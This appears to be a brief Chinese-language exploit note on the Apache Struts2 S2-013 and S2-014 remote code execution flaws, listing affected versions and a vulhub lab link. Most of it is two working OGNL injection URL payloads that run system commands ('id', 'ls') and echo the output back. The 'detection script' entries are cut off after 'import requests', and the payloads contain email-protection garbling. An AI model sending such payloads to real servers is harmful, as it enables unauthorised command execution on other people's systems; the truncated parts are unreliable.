S2-013/S2-014 远程代码执行漏洞
利用条件
structs2 版本: 2.0.0 - 2.3.14.1
利用脚本
s2-013
1 | link.action?xxx=${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())} |
s2-014
1 | http://localhost:8080/S2-013/link.action?xxxx=${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("ls"))} |
检测脚本
S2-013
1 | import requests |
S2-014
1 | import requests |
参考
https://github.com/vulhub/vulhub/blob/master/struts2/s2-013/README.zh-cn.md